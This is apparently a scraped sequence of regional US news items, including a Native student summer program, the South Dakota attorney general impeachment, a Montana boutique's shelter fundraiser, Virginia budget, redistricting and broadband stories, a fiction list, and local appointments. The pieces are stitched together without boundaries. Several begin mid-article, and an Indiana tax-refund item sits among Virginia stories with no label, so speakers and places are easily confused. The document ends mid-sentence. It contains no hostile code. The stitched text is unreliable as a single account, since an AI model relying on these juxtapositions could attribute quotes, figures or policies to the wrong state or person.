7TH GEN Upper-Level, will be offered. The 7TH GEN First-Year Undergraduate Summer Program teaches Native students how to best navigate the requirements of university attendance while completing their first semester. The First-Year Program recruits and accepts high school graduates who meet the program regular or probationary admission requirements, the majority of whom are American Indian or Alaskan Natives. Accepted students enroll and participate in a summer semester that offers them the opportunity to earn 12 credit hours. BHSU is excited to partner with IUNA by offering credit-bearing classes including internships, BHSU President Laurie S. Nichols said in a statement. The university has a long-standing commitment to the education of American Indian students and this program will provide another opportunity to exercise our commitment. We also look forward to working with IUNA staff and the Crazy Horse Foundation Board. You must be logged in to react. Click any reaction to login. Love 0 Funny 0 Wow 0 Sad 0 Angry 1 PIERRE | The South Dakota House Speaker said Tuesday he had appointed special counsel to guide a committee considering whether the state's attorney general should be impeached. The Republican Speaker, Rep. Spencer Gosch, said Sara Frankenstein, a Rapid City attorney who specializes in government affairs, would counsel lawmakers in the first impeachment investigation in state history. The Republican-dominated House voted last month to have the committee investigate whether Attorney General Jason Ravnsborg should be impeached for his conduct surrounding a fatal car crash. He pleaded no contest in August to a pair of misdemeanors in the crash that killed 55-year-old Joseph Boever. Gosch said the committee will resume its investigation later this month. You must be logged in to react. Click any reaction to login. Love 1 Funny 0 Wow 1 Sad 2 Angry 1 Gov. Noem has obviously never taught school. Moments of silence are rare, and students will see it as phone use time, not prayer. As a taxpayer, I don't want my taxes to go for paying for lawsuits that will inevitably come. She needs another way to beef up her resume. Why do children need to pray in school when they can pray anytime of the day or night? How about praying on the way to or from school. Noem implies she is a Christian, yet she publicly mocks on social media, etc., those who disagree with her. Is she implying she follows Gods decrees for treatment of others only when it suits her agenda? Please remember how well our elected representatives have handled the Ravnsborg impeachment come election time. They probably will feel the need for bonuses as a means of just saying thanks for their outstanding leadership. Could you please publish the date our police are going to start enforcing traffic laws? This will give drivers some notice to stop speeding, running red lights and blowing through school zones. You must be logged in to react. Click any reaction to login. Love 13 Funny 1 Wow 0 Sad 1 Angry 0 Burlap Chic Boutique & Gifts is helping to raise money for Family Shelter of The Bitterroot by offering gift wrapping, by donation, for every present purchased downtown and is collecting items of warmth this holiday season. It has been almost a year since Kendra Herron Hale opened Burlap Chic Boutique offering contemporary women's and juniors' fashion clothing, accessories and gift items in Hamilton. She hasnt had an open house or ribbon cutting due to, the pandemic and aftermath of 2020, she said. Her first-anniversary celebration will have giveaways, door prizes, sale items, specials and a grand prize at the store, 4:307:30 p.m. on Thursday, Dec. 16. Hamilton Mayor Dominic Farrenkopf will help celebrate and the Bitterroot Valley Chamber of Commerce will have a ribbon-cutting at 5:15 p.m. We are just now getting around to doing my ribbon cutting and a celebration of my business. It's late calendar-wise but perfect timing, Herron Hale said, Monday. I'm going to raise money for Family Shelter of The Bitterroot by offering gift wrapping, awareness and an actual physical location (my shop) that is festive, family-oriented and community proud. She is operating her small business as her livelihood and said she is blessed and thankful that I was able to create my happy place. She also knows that even if community members are employed, they may not have a home of their own. For some, the roofs over their head are the roofs of their vehicles, Herron Hale said. I used to boast that we didnt have any homeless but was shocked at the current number of 188 homeless in the Bitterroot and 57 of those are children. My heart sank for those families and children. The total number has almost doubled in a year's time. She said the housing costs over the past year in Hamilton have reached obscene and disturbing prices and hopes people would consider the impact before selling for high amounts. Just because you can get it doesn't mean it's worth the eviction of a family, she said. I know of handfuls of friends and acquaintances, mainly single mothers that have had their rents doubled. She plans for further advocacy for these folks in the future, But what I can do right now is raise money on their behalf by getting volunteers to gift wrap in this busy holiday season and do a community warmth and comfort drive, she said. Starting now till January 7th, my actual anniversary date, I'll accept anything for warmth and comfort, coats, scarfs, blankets and personal hygiene products for men, women and children. Herron Hale said she talked with Gary Locke of the Family Shelter of The Bitterroot and that her heart broke after hearing the detailed struggles of homelessness and the challenges of finding a space to be used as a warming shelter. Herron Hale said she is offering gift wrapping for her boutique, whether bought in her store or bought in any store downtown Hamilton as a fundraiser for the Family Shelter. Gift wrapping is available at Burlap Chic Boutique, 175 S 2nd St Suite A, from 4-7:30 p.m. on Thursday, Dec. 16; 4-6 p.m. on Friday, Dec. 17; 12-2 p.m. and 2-4 p.m. on Saturday, Dec. 18, Wednesday, Dec. 22 and Thursday, Dec. 23; and noon to 2 p.m. on Friday, Dec. 24. If a shop or business doesn't offer gift wrapping or they are crazy busy, come down during the scheduled times, she said. Or if people don't need gift wrapping, they can stop by to donate. For the ribbon-cutting and anniversary celebration, 4:30-7:30 p.m. on Thursday, Dec. 16, Herron Hale will be at the store telling of her history of fashion and Montana roots and author S.S. Duskey will be at the store to sign two books of her trilogy Secrets in the Keys and Deception in the Bitterroot. Heron Hale hopes the community will help donate to alleviate homelessness. [Homelessness] is a community issue we should help and support as a community and share our Bitterroot pride, Herron Hale said. Love 3 Funny 0 Wow 0 Sad 0 Angry 0 Get local news delivered to your inbox! Subscribe to our Daily Headlines newsletter. Sign up! * I understand and agree that registration on or use of this site constitutes agreement to its user agreement and privacy policy. Sometimes, if were lucky, the stars align and life moves in a very logical way. The Bitterroot National Forests new Darby/Sula district ranger, Abbie Jossie, knows all about that. After her son moved to the Bitterroot Valley, she and her husband a retired soil scientist began looking for opportunities to follow him. It was a place the couple had already been visiting and had come to love. Before taking her new district ranger post, Jossie served as the Bureau of Land Managements deputy state director for Utah for five years from the Salt Lake office. That position was a culmination of a career with the BLM that started as a seasonal job working in range management. Jossie worked several field jobs before becoming a line manager and serving in senior management positions. I started with the BLM in a range program in northern Nevada where I got grounded in interdisciplinary work with public land users, including ranchers and other stakeholders, she said. Its been the hallmark with most of what Ive done with the BLM. That direct connection of working at the ground level directly with people who care about the land was something she yearned to do again after years focused on developing policy. Jossie believes the decade she worked as field manager at Grants Pass, Oregon the equivalent of a Forest Service ranger prepared her most for the challenges shell face at the Darby/Sula District. I have a feeling that my experience is the reason that Im here, especially on the fuels management side, Jossie said. We did some pretty cutting-edge things while I was in Oregon We ramped up the fuels program quite a bit. I look forward to doing that again and making an impact, she said. Doing work that can make communities feel a little safer is huge. We cant guarantee that a fire wont come, but we might be able to influence how much damage it does. We have a crew here that is just passionate about getting that work done, Jossie said. There are so many folks in this office who were born and raised in the valley. They are committed to their communities. As am I now. While in western Oregon, she worked on fire and fuels reduction projects, served on wildfire teams and helped manage recreation on a Wild and Scenic River with a wilderness component. Shes anxious to put her skills to help manage national forest lands in the Bitterroot Valley. With additional funding coming from the recently passed federal infrastructure legislation, Jossie sees opportunities for building up a fuels reduction program to reduce hazards and risks from wildfire. We will want to work with neighbors and communities to create not just more resilient forest, but also ways to manage fire, she said. We can have treatments on the ground in places that make sense because we know about fire behavior. Those treatments can be instrumental in helping firefighters slow a fires spread. Our intent is to make sure we are doing our part to reduce the potential for those conflagrations to come in and impact a community, Jossie said. There will also be a focus on addressing the growing public demand for recreational pursuits on national forest lands. We get a lot of folks coming to Lake Como, she said. We have some things underway on how we can improve the recreational experience up there through facilities in particular. We will need to adapt to changing needs and demands everywhere on public lands. Jossie said her door is always open to the public, although right now theyll have to call first and make an appointment until the time the district office reopens. I wanted to get back to working on the ground level, Jossie said. Its really a different role to be able to have hands-on management of landscapes as opposed to being in a state office doing policy and advice. Im just excited to be able to work in such a beautiful place with communities that actively utilize their landscapes for all kinds of purposes, she said. We are extremely fortunate to bring Abbie and her wealth of leadership skills to the Bitterroot National Forest, said Bitterroot Forest Supervisor Matt Anderson. She has a great track record and history of working with communities and partners to handle very complex resource issues. Jossie replaces Eric Winthers, who retired in October following a 34-year career with the Forest Service. For more information about the Darby/Sula Ranger District, call 406-821-3913 or visit fs.usda.gov/bitterroot. Love 0 Funny 0 Wow 0 Sad 0 Angry 0 Get local news delivered to your inbox! Subscribe to our Daily Headlines newsletter. Sign up! * I understand and agree that registration on or use of this site constitutes agreement to its user agreement and privacy policy. In other news, the board unanimously approved relaxing minimum requirements for substitute teachers as a way of addressing the substitute shortage. Where individuals were required to have a minimum of 60 college credit hours, an associates degree or a bachelors degree, they now must have a high school diploma, which is the minimum allowed by the Virginia Department of Education. The board also is seeking public comment on school year start times for next fall and for the 2023-24 academic year, because its considering starting before Labor Day in two years. Nancy Disharoon, director of accreditation and accountability, told the board Tuesday night that the pre-Labor Day start has a number of benefits, including aligning with neighboring school divisions. Locally, Chesterfield County opens ahead of Labor Day, and Henrico County will do so for the 2022-23 and 2023-24 school years. Richmond opened early for virtual middle and high school students this year, and is considering opening in mid-August next year for all students. Early starts mean earlier ends to the school year, which may appeal to some families who wish to start summer vacation plans earlier, Disharoon said. The $125 refunds would be sent by direct deposit or check depending on how the taxpayer files their state tax return, the governors office said. Those payments are anticipated by May 1 to taxpayers who meet the 2022 tax return filing deadline of April 18. State tax collections have continued to be better than anticipated since July, leading to talk within the Republican-dominated Legislature of cutting taxes, although some are urging caution. House Republican leaders have said they were looking at plans to cut the states 3.23% individual income tax rate or expand credits to reduce what income taxes are owed. Tax revenue has kept growing, with tax collections running $645 million, or 9.6%, ahead of projections for the first five months of the current budget year. House Republican Caucus Chairman Greg Steuerwald of Avon said Wednesday that tax cuts will get a hard look during the legislative session that starts in January. Its timely to take a look at it and see if theres something that makes sense, Steuerwald said. But once again being very careful what we do. Gov. Ralph Northam says the proposed two-year budget he will present on Thursday to the General Assemblys money committees includes $233.6 million for outdated sewer systems, including $165 million to support Richmond, Lynchburg and Alexandria, which have struggled with overflows. Northam said the proposed budget would also include nearly $286 million to fully fund the Virginia Natural Resources Commitment Fund, which helps farmers and landowners put in place clean water and conservation practices. The governor, who leaves office Jan. 15, the day Gov.-elect Glenn Youngkin is inaugurated, says his budget proposal would bring state funding to restore the Chesapeake Bay and its tributaries to $1 billion during his four-year term. Virginia pledged to reduce pollution to the Chesapeake Bay and its tributaries to meet clean water goals by 2025, Northam said. My budget will ensure that the Commonwealth lives up to its commitment and restores the natural bounty of the Chesapeake Bay. Later Wednesday, Northam announced additional funding proposals for conservation and historic preservation. A parade of speakers urged the Supreme Court of Virginia on Wednesday to revise its proposed congressional map that would dismantle the current 7th District and split Richmonds western suburbs into different districts. During a virtual public hearing, speakers told Chief Justice Donald W. Lemons and other justices that the courts proposed map carves up populous communities of common interest. Speakers said the map would divide western Chesterfield and western Henrico counties between districts with which they have little in common a 5th District based in Danville and a sprawling 1st District that would extend from Fluvanna County southeast to York County and Poquoson. Patricia Heidelmark of North Chesterfield, a retired schools administrator and president of a homeowners association, told the justices that the map has gutted my district and moved it to Northern Virginia. The 7th District, or as we call it here, the heart of Virginia, has completely disappeared, she said. Why demolish the 7th as we know it? Heidelmark asserted that the two experts the court appointed to draw the map appear to have acted haphazardly in an effort to meet numeric requirements 11 districts with roughly 784,000 residents each. The other proposed amendments would fund efforts to boost cybersecurity for local school divisions through the Virginia Department of Education and enable the Virginia National Guard to conduct cybersecurity assessments for local governments to prevent ransomware attacks. Staffing to protect against cybersecurity attacks already is a problem at VITA, even though its a high priority for the leader of the operation that provides IT services and protection for more than 60 agencies in the executive branch of state government. Ransomware is at the forefront of my mind, Chief Information Officer Nelson Moe told the Joint Legislative Audit and Review Commission in September after the presentation of a JLARC staff study that raised concerns about staffing to protect against cybersecurity threats. VITA has nearly doubled the number of cybersecurity staff over the past decade from 11 in 2011 to 20 in 2020 but JLARC said its not enough to address what chief legislative analyst Jamie Bitz described as the increasingly complex cybersecurity threats that the state faces. A spokesperson for the VDOE said the agency is reviewing the report and considering the recommendations, and is fully committed to taking action to strengthen education-related components of the system to ensure students receive high-quality educational services in juvenile justice settings. The committee also indicated that a summer break isnt ideal for the youth inside of the detention centers, saying that a two month summer break disrupts the consistency in education. Many of the incarcerated youth, JLARC said, are already academically behind. It recommended a 200-day calendar, also known as year-round school. In 2012, JLARC found that year round school can help reduce learning loss. Del. Bobby Orrock, R-Spotsylvania, a veteran educator, asked what could be done to increase vocational instruction for students, as JLARC found that the VDOE was also failing to provide adequate career and technical education for incarcerated youth. Everybody can be in a win-win, because if these kids once theyre discharged from JDC end up back in the public schools and create problems again. We need to find some solutions within our existing resource network, Orrock said. And I think that may be part of an answer. Jesse Royall, a longtime member of the state Waterworks Advisory Committee and the executive vice president at Sydnor Hydro Inc. in Richmond, a private utility company, said the layoffs will hurt the states ability to protect public health. This office is the gatekeeper for ensuring that we maintain the public health and safety through safe drinking water provided to our communities, and in addition, evaluating potential risks, he said. Its going to have a devastating effect on the effectiveness of the Office of Drinking Water to be a partner working with public utilities ... and its going to result in the department, in my opinion, moving toward basically enforcement only and addressing issues after the fact. The Northam administration did not issue any official statement or announcement on the layoffs until contacted by the Richmond Times-Dispatch. The governors office approved a December 2020 study required by the legislature that recommended consideration of more staff in the Office of Drinking Water not less to comply with federal requirements and other needs. And the layoffs come at a time of a record state budget surplus. Heres the good news: It appears Youngkins pledge is illegal. Pulling out of RGGI by executive action is an unprecedented overstep of power by the governor-elect. Cale Jaffe, associate law professor at the University of Virginia and a Virginia Conservation Network board member, shared, the (State Air Pollution Control) Board has promulgated regulation to join RGGI. No governor can issue an executive order to just undo a duly promulgated regulation. Further, the Virginia Clean Economy Act mandates an energy transition to a zero-carbon grid by 2050. RGGI is part of the equation to get Virginia there by 2050. Jaffe notes, leveraging the benefits of a multistate trading market helps us find the most cost-effective way to meet that goal. State Sens. Dick Saslaw, D-Fairfax and Mamie Locke, D-Hampton stated: Youngkins pledge would be incredibly harmful to the health of Virginians, protection of our natural spaces, and preparation for a clean energy economy ... We only have one world with Hampton Roads perpetually flooded, the Chesapeake Bays future at risk, and Virginians health declining, there is no time left to play politics with Mother Nature. Real vs. symbolic support Editor, Times-Dispatch: The recent column by HCA Virginia executive Dr. Jake O'Shea, about keeping holiday lights illuminated through January as a show of support for health care workers, seems well-intentioned. But are symbolic acts the support they most want and need as they risk their lives in caring for COVID-19 patients? During three extended hospital admissions this year, my wife was blessed with the incredibly competent and caring support of a variety of health care workers, particularly her nurses and patient care technicians. They were consummate professionals, but at times they would talk about the pandemic's strain on themselves and their families and their frustration with those who refused vaccination and then ended up hospitalized with COVID. As chief medical officer for HCA Virginia, O'Shea surely knows well the fears and challenges being experienced by health care workers today. I would strongly encourage him to use the power of his position to support health care workers not through calling for symbolic acts but by strongly and publicly calling for full participation in the COVID vaccination and booster program. 'The Promise' by Damon Galgut. (Europa Editions, $25.) The title of this powerful, emotionally charged novel winner of this year's Booker Prize refers to a pledge made by Rachel Swart, the matriarch of a white South African family, to bequeath a house on her farm to loyal Black servant Salome. But when Rachel dies, so too does Salome's hope of claiming her inheritance. Galgut charts the wayward progress and mixed fortunes of Rachel's racist husband, Manie, and their three children feckless Anton, faithless Astrid and guilt-ridden Amor through subsequent decades, while simultaneously depicting a nation undergoing tumultuous change. 'Radiant Fugitives' by Nawaaz Ahmed. (Counterpoint, $27.) This hugely accomplished debut expertly traces the fault lines within a Muslim Indian family. After being cast off by her father, Seema has made a new life for herself in the West. In her last weeks of pregnancy she is reunited at her home in San Francisco with her devoutly religious sister Tahera and their terminally ill mother, Nafeesa. But can they heal old wounds? Ahmed aims high and explores politics, race and his characters' fates through an extraordinary narrative voice that of Seema's newborn (and at times unborn) son. 'Mrs. March' by Virginia Feito. (Liveright, $26.) Spanish-born Feito's eponymous heroine exerts a strong hold on the reader. Mrs. March leads a charmed life on Manhattan's Upper East Side. But when she suspects that she was the inspiration for her author husband's latest protagonist "a weak, plain, detestable, pathetic, unloved, unlovable wretch" her safe world collapses. Soon she believes he is even capable of murder. With echoes of those doyennes of suspense Patricia Highsmith and Daphne du Maurier, this is a darkly comic portrait of a woman spiraling out of control. 'China Room' by Sunjeev Sahota. (Viking, $27.) Sahota's bravura third novel is made up of two neatly interwoven narratives set 70 years apart. In one strand, Mehar, a young bride, conducts an illicit romance with her husband's brother on a farm in rural Punjab in 1929. In the other, Mehar's great-grandson travels to the same location where he battles addiction and becomes curious about his relative's tragic history. An intense and moving depiction of endurance and defiance through the generations. 'Open Water' by Caleb Azumah Nelson. (Black Cat, $16.) Two young Black British people meet, then fall passionately for each other. "What is better than believing you are heading towards love?" asks Azumah Nelson. Gradually, however, their relationship is tested by outside forces. The simple framework of this debut belies the riches within. The characters he a photographer, she a dancer are unnamed yet fully knowable, the prose is lush and rhythmic, and the bold use of second-person narration ensures that the situations and emotions are nothing less than intimate and intense. 'The Love Songs of W.E.B. Du Bois' by Honoree Fanonne Jeffers. (Harper, $28.99.) Weighing in at almost 800 pages and spanning two centuries, Jeffers' first novel is a sprawling, ambitious affair. It is also an epic masterpiece. At its beating heart is Ailey Pearl Garfield, a young African American woman who, after growing up and coming of age in Georgia, decides to trawl through her family's checkered history to learn what befell her ancestors in the Deep South. Multigenerational, multivoiced, and filled with darkness and light, this is a remarkable feat of storytelling. 'Great Circle' by Maggie Shipstead. (Knopf, $28.95.) Shipstead's immersive third novel braids together the life stories of two memorable women. "Born to be a wanderer," Marian Graves grows up to become a pioneering aviator but disappears in Antarctica in 1950 in an ill-fated attempt to circle the globe. In 2014, disgraced Hollywood star Hadley Baxter seeks to restore her dignity and revive her career by playing Marian in a movie. The book's scope, detail and single-minded heroines allow it to truly soar. 'Klara and the Sun' by Kazuo Ishiguro. (Knopf, $28.) Ishiguro's first novel since being awarded the Nobel Prize in Literature is narrated by an android an "Artificial Friend." Klara draws nourishment from the sun and in turn provides strength and comfort for Josie, a teenager suffering from what could be a life-threatening illness. The more time Klara spends with her ailing companion, the more she learns about the frailty of life, the nature of love and what it takes to be human. Ishiguro's brave new world and the inhabitants within it cast a mesmerizing spell. 'Oh William!' by Elizabeth Strout. (Random House, $27.) Successful sixty-something writer Lucy Barton agrees to accompany her ex-husband William on a trip to Maine to meet the half-sister he never knew he had. But in doing so she ends up on a journey of discovery of her own, one that sees her reflecting on the highs and lows (or "Difficulties") of her decades-long relationship, together with the current state of her life. Strout's third outing for her much-loved creation is a bittersweet delight. 'The Committed' by Viet Thanh Nguyen. (Grove Press, $27.) Starting where his Pulitzer Prize-winning debut "The Sympathizer" left off, Nguyen's sequel follows his unnamed double agent "a man of two faces" out of Vietnam and into Paris in 1981. There he deals drugs and settles scores for Chinese gangsters, loses himself in philosophical debates with his "aunt" and other intellectuals, and communes with ghosts from his past all while dreading an impending showdown with his former handler, Man. An existential thriller packed with mayhem, absurdity and big ideas. 'A Line to Kill' by Anthony Horowitz. (Harper, $27.99.) Ex-Detective Inspector Daniel Hawthorne and his sidekick, writer Anthony Horowitz, return for a third case, this time on the tiny island of Alderney in the English Channel a place where there has never been a murder. That track record is ruined when the wealthy sponsor of a literary festival there meets a violent end. Soon the crime-solving duo are unearthing clues and sifting secrets and grudges of the islanders and the visiting authors. Funny, fiendish and thrilling, this mystery proves that Horowitz is king of the contemporary whodunit. 'Crossroads' by Jonathan Franzen. (FSG, $30.) The first volume in a proposed trilogy, "Crossroads" is one of those books Franzen is so good at: an involving and enthralling family saga. This one revolves around the Hildebrandts in small-town Illinois in the early 1970s. Pastor Russ and his unhappy wife, Marion, harbor secret desires, hidden agendas and unprocessed pain in their disintegrating marriage. Meanwhile, their children take drastic steps to go their own way. The flawed characters and high-stakes plotlines make for superlative drama. Roll on the next installment. (CNN) Partial human remains found in a garbage bag nearly 40 years ago have been identified as belonging to Frank "Frankie" Little Jr., a member of the R&B band The O'Jays, according to police. The Twinsburg Police Department in Ohio announced the news on Tuesday, saying DNA from relatives was used to help identify the remains found on Feb. 18, 1982. Police said that not much is known about Little's disappearance and death. Little was raised in Cleveland, according to the news release. In the mid-'60s, he was a guitarist and songwriter for The O'Jays. The band released a statement to CNN saying that he was part of the band in the early days and that band members hadn't heard from him since. "He came with us when we first ventured out of Cleveland and traveled to Los Angeles, but he also was in love with a woman in Cleveland that he missed so much that he soon returned back to Cleveland after a short amount of time," according to the statement. The band members "wish his family and friends closure to what appears to be a very sad story," the statement said. Little served two years in the U.S. Army, which included a deployment during the Vietnam War, according to the news release. He had a daughter who died in 2012, according to the news release, and a son who has not yet been located or identified. Discovery of remains in bag The partial remains were found in a garbage bag behind a now-closed business in Twinsburg, according to police. A worker at the business discovered a skull in the snow, according to CNN affiliate WEWS, then police discovered the bag. It is believed that the bones were a couple of years old and showed signs of blunt force trauma, according to WEWS. Police ruled the manner of death a homicide. It was also noted that the remains belonged to an African-American male, 20 to 35 years of age, approximately 5'6" tall, and that he may have had adolescent kyphosis, a curvature of the spine. But the identity of who they belonged to remained a mystery for nearly 40 years until a partnership with the DNA Doe Project started in October. The organization provided names of potential relatives, who gave police Little's name and a DNA sample. That sample was analyzed by the Ohio Bureau of Criminal Investigation crime lab, and Little's identity was then confirmed by Dr. Lisa Kohler of the Summit County Medical Examiner Office. "It's definitely nice that we can give some answers to the family and hopefully they have some sense of closure," Twinsburg Detective Eric Hendershott told WEWS. "He had a life, and ultimately he ended up here in Twinsburg, with his life taken by another." It is believed that Little was last known to be alive in the mid-1970s, according to police, and lived in Cleveland, about 24 miles away from where the remains were discovered. Police are continuing to investigate the case to determine what happened. His remains will be given to relatives for burial. BLACKSBURG Much of Bill Browns storied law enforcement career was commemorated via plaques, patches and other commendations that accumulated at his home. But Brown, 74, said on Tuesday night that his greatest honor is knowing that the new Blacksburg police station will bear his name a designation that will help eternalize his name in the community. I really appreciate this, Brown said during a speech in response to the announcement that the new station that is slated to open in the spring of 2022 will be called the William H. Brown Building. Brown, whom the current Blacksburg police station is also named after, is a well-known and highly respected figure in the Montgomery County community. A native of West Virginia, Brown moved to the New River Valley as a boy and graduated in 1966 with the last class of the historic all-Black Christiansburg Institute. He then served two years in the Army, returning from Vietnam as a sergeant. In 1970, he was hired by the Blacksburg Police Department, becoming the valleys first Black police officer. After rising through the ranks and becoming chief in 1994, Brown retired from the town in 2006. In the next year, he won election to the Montgomery County Board of Supervisors, a tenure that included time as chairman of the elected body. Brown served on the board of supervisors until 2015 when he decided not to seek a third term. Both as police chief and as a supervisor, Brown broke more barriers by becoming the first African American to hold those positions in Blacksburg and the county. Current Blacksburg Police Chief Anthony Wilson spoke about Brown during Tuesdays event at the towns municipal building. Wilson said he viewed Brown as a mentor and spoke about how his respect for the former lawman went as far back as his childhood growing up in town in the 1970s. Wilson said that he could have gone over all of Browns accolades over the years, but instead decided to simply recall some of the times from his childhood when he would see the former policeman in the community. Wilson talked about being at the towns recreation center with his friends and seeing Brown stop by the facility in his police car. Wilson recalled other children regularly surrounding the car, wanting to talk to Brown. Wilson said he would also remember people making some comments about Brown behind his back, but not derogatory ones, at all. This dude is the law, and you better not find yourself on the wrong side of it, Wilson recalled hearing. Wilson talked about sneaking out past curfew and him and his friends trying to see if Brown was working that night. He said they would often goad officers into chasing them and that those officers would often not get out of their cars. But if Sgt. Brown was working, hed get out of that car, Wilson said, adding that Brown was also very capable of catching up with the youth. And if Brown didnt catch them that night, he would at least be at their house when they returned home, Wilson said. But Wilson said those memories, along with when he would eventually work under Brown, served as crucial life lessons for his own time in law enforcement. I think he was talking about somebody else, instead of me, said Brown jokingly in response to the stories from Wilson. But after the event, Brown said in an interview that he wasnt really surprised at hearing about how many teenagers and others in the community saw him during those days. He said he would occasionally run into people over the years who would thank him for guidance he gave them in the past, some of which he was told even saved some lives. You just want to be like a big brother, he said. Its a good characteristic to have. The new police station an estimated $16 million project is part of the redevelopment of the old Blacksburg Middle School site. Measuring approximately 38,000 square feet, it will be double the size of the current facility. Get Government & Politics updates in your inbox! Stay up-to-date on the latest in local and national government and political topics with our newsletter. Sign up! * I understand and agree that registration on or use of this site constitutes agreement to its user agreement and privacy policy. About $350 million invested in Southwest Virginias internet infrastructure will lay the cables to bring tens of thousands of homes online across the region, according to an announcement from the governors office. Statewide, more than $772 million will be allocated from the government for a new round of Virginias Telecommunications Initiative grant funding, which will pair with more than $1 billion of private and local investments for internet access projects in 70 localities, according to a news release posted Monday on the website of Gov. Ralph Northam. Officials like Kevin Byrd, executive director of New River Valley Regional Commission, said the funding is a serious investment in Virginias internet infrastructure. This is a game-changer for rural communities, Byrd said during a phone call Tuesday. Hopefully it levels the playing field for all of our communities and unincorporated areas everybody will have access to fiber service. In Montgomery, Pulaski and Bland counties, more than $135 million worth of high-speed, fiber-optic internet expansion will connect almost 20,000 locations to provide universal broadband access. Virginia is granting about half of that projects cost, $68 million, while Appalachian Power Co. and two broadband providers, Gigabeam and All Points, are leveraging $58 million, with the three localities pledging the remainder, said Byrd, whose commission applied for the grant. Virginia has made broadband a priority, Byrd said. Not every state would have this kind of money be invested, and not every community would have the partners aligned to go do this kind of work. Access to affordable, quality internet has in parts of the New River Valley been a limiting factor for people deciding where to live, he said. Broadband expansion has been a commission planning effort since the early 2000s. We had a robust plan in 2004 to build fiber all over the New River Valley. Bits and pieces of that have been funded and built, Byrd said. But theres always been this challenge: How do you get to the rural locations, whether thats homes or businesses? Whats different now for the New River Valley is Appalachian Powers contribution, he said. The company will establish the larger-scale, middle-mile fiber internet infrastructure, used thereafter by broadband providers to connect the last-mile into customers homes. An analogy: The electric company will pave new interstates for internet to travel beyond its former boundaries, enabling broadband providers to then ensure web traffic can flow directly to users driveways, and into homes. It wouldnt be possible unless Appalachian Electric Power, or ApCo, was building a fiber network within their service geography, Byrd said. That is the major differentiating factor in all this. The power companys new internet endeavors come on the heels of a promising broadband pilot program in Grayson County. GigaBeam Networks first fiber-optic internet customer there, the Elk Creek Volunteer Fire Department, was successfully connected on Tuesday using cables attached to power poles, said Appalachian Power spokesperson Teresa Hamilton Hall during a phone call. The plan is to do very similar work, she said of two additional projects that received state funding. Building upon the success that weve seen with the Grayson County project. In addition to the project the power company is contributing to in Montgomery, Pulaski and Bland counties, a second project will cover more than 10,000 locations across Franklin, Henry, and Patrick Counties, at a cost exceeding $95 million, according to documents. The company will be assessing further options to expand its internet network as appropriate, she said. But Grayson County was seemingly successful, with the first customer connected and more to come. Weve learned a lot with this project. Every step along the way has helped us to get better, to get faster, more efficient with what were doing, Hall said. We look forward to taking that what weve learned and moving it into these next projects. The influx of grant money puts Virginia on track to become one of the first states achieving near-universal broadband access of more than 90% connected, with a target date of 2024, according to the announcement release. Elsewhere, in the Roanoke Valley... Using nearly $8 million, including $3 million granted from the state, Botetourt County expects to have near-universal internet coverage available by December 2023, after another 1,900 additional households are offered connections. While incoming fiber-optic internet access wont appear overnight, it is no less vital to the future, said Botetourt County Administrator Gary Larrowe. In 2017, an estimated 30% of Botetourts 16,000 households had no internet, or used overly sluggish connections. The next stage is the question: So what? Larrowe said during a phone call Monday. How do we end up being part of the future, rather than part of the past? Botetourt County is already thinking on how it might utilize the utility to provide new and improved government offerings for its citizens, and fully embrace the economic development benefits of widespread internet access, he said. We can sit on our hands, we can watch Netflix and we can be happy, or we can start planning how we are going to actually utilize this for the true benefit of our children and their families, Larrowe said. How do we do things better, faster, cleaner, more efficiently? These are some of the questions that other localities across Virginia will similarly contend with, as governments pair with internet providers to put the grant dollars to work by 2024. Roanoke County received funding for four projects, which will bring almost 1,400 households online at a cost of $7.7 million, with more than $3.7 million granted from the state. Internet access goes beyond recreational uses, said Bill Hunter, Roanoke Countys director of communications and information technology. Not only is this going to bring actual internet, but internet can bring television, it can bring telephone, all of those types of things, Hunter said. There are places in the county that dont have that. Internet has essential uses in education, economic development, remote healthcare and so much else, he said. New uses seem to crop up daily. I cant imagine, since the pandemic hit everybody forced to work at home, go to school at home, talk to their doctor from home the frustration level, Hunter said of places without access. We take it for granted. Virginia granted its funds to support 35 projects statewide, using money from the Virginia Telecommunication Initiative and the federal American Rescue Plan Act, the governors news release said. Other examples of internet expansion efforts funded in Southwest Virginia include: $28.5 million for fiber broadband in almost 11,000 locations across Lee, Wise and Scott counties; and, $99 million for fiber internet at more than 27,000 locations in Smyth, Washington and Wythe counties. These just-funded projects will combine with other ongoing public-private efforts to expand the availability of high-speed internet. Cumulative during the past four years, more than $2 billion has been invested statewide on broadband expansion, the governors release said. Get Government & Politics updates in your inbox! Stay up-to-date on the latest in local and national government and political topics with our newsletter. Sign up! * I understand and agree that registration on or use of this site constitutes agreement to its user agreement and privacy policy. Following a national search to find its new leader, Roanoke County chose to fill its top role from within its own ranks. The county announced at its board of supervisors meeting Tuesday afternoon that Assistant County Administrator Richard Caywood will take over for current County Administrator Dan ODonnell, who has worked for the county for 22 years, and is set to retire Feb. 1. Caywood, 52, has served as one of Roanoke Countys assistant county administrators since March 2013, with management responsibilities over a wide range of county operations, including public safety, social services, community planning and development, libraries, parks, recreation, and tourism, according to a county news release. ODonnell believes Caywood was the right person for the job. Hes a great choice. Ive worked with him for nine years and known him even longer, ODonnell said. Hes been instrumental in so many of the things weve been working on. I think hell hit the ground running. Since coming to the county, Caywood has served as project manager for major capital improvement projects, including the construction of the new Vinton Library, the North County water tower, and the full renovation of the Department of Social Services building, according to the release. He has also served as the countys staff lead for the Mountain Valley Pipeline project, and currently represents the county on a variety of boards and commissions. We were delighted to find the right person for this position within the County organization, board Chairman Jason Peters said in the release. Richard has been an important part of many significant initiatives, both completed and currently underway. He has proven himself time and again and we believe that he will provide continuity and stability during this important time for Roanoke County and the region. The Board looks forward to working with Richard to further improve the county organization and its services. Caywood said he is excited about the future of Roanoke County, and hopes to continue the progress the county has made in recent years, including the development of the 419 Town Center, which aims to transform the Tanglewood corridor into a mixed-use, walkable area that features a variety of businesses and living spaces in the county. Weve done a lot of good things in the county, and I feel like Ive been a part of many of those projects, so I am ready for this new opportunity, he said. He doesnt see much of a learning curve in his new role as he works with ODonnell and Rebecca Owens, the countys other assistant county administrator, on a regular basis. I think with the way we have things set up, and how much we work together, I have a good grasp on how things work, Caywood said. The soon-to-be boss also said that its a benefit that he wont have to get to know a whole new set of staff, but there might be one minor drawback.. I wont have that honeymoon period a lot of other new hires get, he joked. Caywood has been a licensed professional engineer in Virginia since 1999. Prior to joining the county, he spent 20 years with the Virginia Department of Transportation in various administrative roles. He received a bachelor of science degree in civil engineering from the University of Virginia and a master of science degree in civil engineering from Virginia Tech, according to the release. Caywood has been an International City/County Management Association credentialed manager since 2017, 